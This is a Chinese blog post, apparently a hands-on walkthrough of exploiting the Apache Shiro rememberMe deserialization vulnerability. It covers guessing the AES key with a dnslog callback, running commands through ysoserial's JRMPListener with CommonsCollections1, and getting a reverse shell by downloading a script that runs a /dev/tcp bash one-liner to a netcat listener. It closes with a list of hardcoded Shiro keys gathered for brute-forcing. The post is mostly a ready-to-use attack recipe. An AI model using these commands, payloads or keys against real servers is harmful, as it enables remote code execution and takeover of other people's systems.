1.png

2.jpg

目标站返回rememberMe的cookie字段或者在请求包中含有rememberMe的cookie字段的时候,说明该目标站是用了shiro框架。

漏洞利用:

1.猜解密钥

前文中提到的硬编码的密钥,在实际生产环境中不同的项目可能会存在不同的密钥(key),从github上搜集了部分常用的key用于猜解,这里用到dnslog来判断是否成功。

3.jpg

可以看到当Key为kPH+bIxk5D2deZiIxcaaaA==时,服务器收到了目标站的请求,这里我们可以确定该站的key为kPH+bIxk5D2deZiIxcaaaA==

2.命令执行

这里我们利用ysoserial工具进行漏洞利用.

在服务器上执行

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'ping -c 1 sl0437.ceye.io'

4.jpg

可以看到已经接收到了目标站的请求,并且payload发送给目标站以后成功执行了ping命令.说明目标站CommonsCollections1存在反序列化漏洞。

3.反弹shell

在实战中发现,虽然可以成功执行命令了,但是由于runtime等环境因素并不能直接反弹shell,这个可以采用先下载后运行的方式。

/bin/bash -i >& /dev/tcp/*.*.*.*/2019 0>&1

将反弹shell的命令写成txt然后放在web目录下,

然后重新步骤2,这里修改一下执行的命令即可

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'wget http://*.*.*.*:8080/1.txt'

5.jpg

再依次在服务器上执行

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'sh 1.txt'

nc -lvv 2019

再次访问后成功获取到shell

6.jpg

收集到的key

4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
2AvVhdsgUs0FSA3SDFAdag==
wGiHplamyXlVB11UXWol8g==
kPH+bIxk5D2deZiIxcaaaA==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
L7RioUULEFhRyxM7a2R/Yg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
r0e3c16IdVkouZgk1TKVMg==
ZWvohmPdUsAWT3=KpPqda
5aaC5qKm5oqA5pyvAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
LEGEND-CAMPUS-CIPHERKEY==
3AvVhmFLUs0KTA3Kprsdag==

标签: Shiro反序列化

添加新评论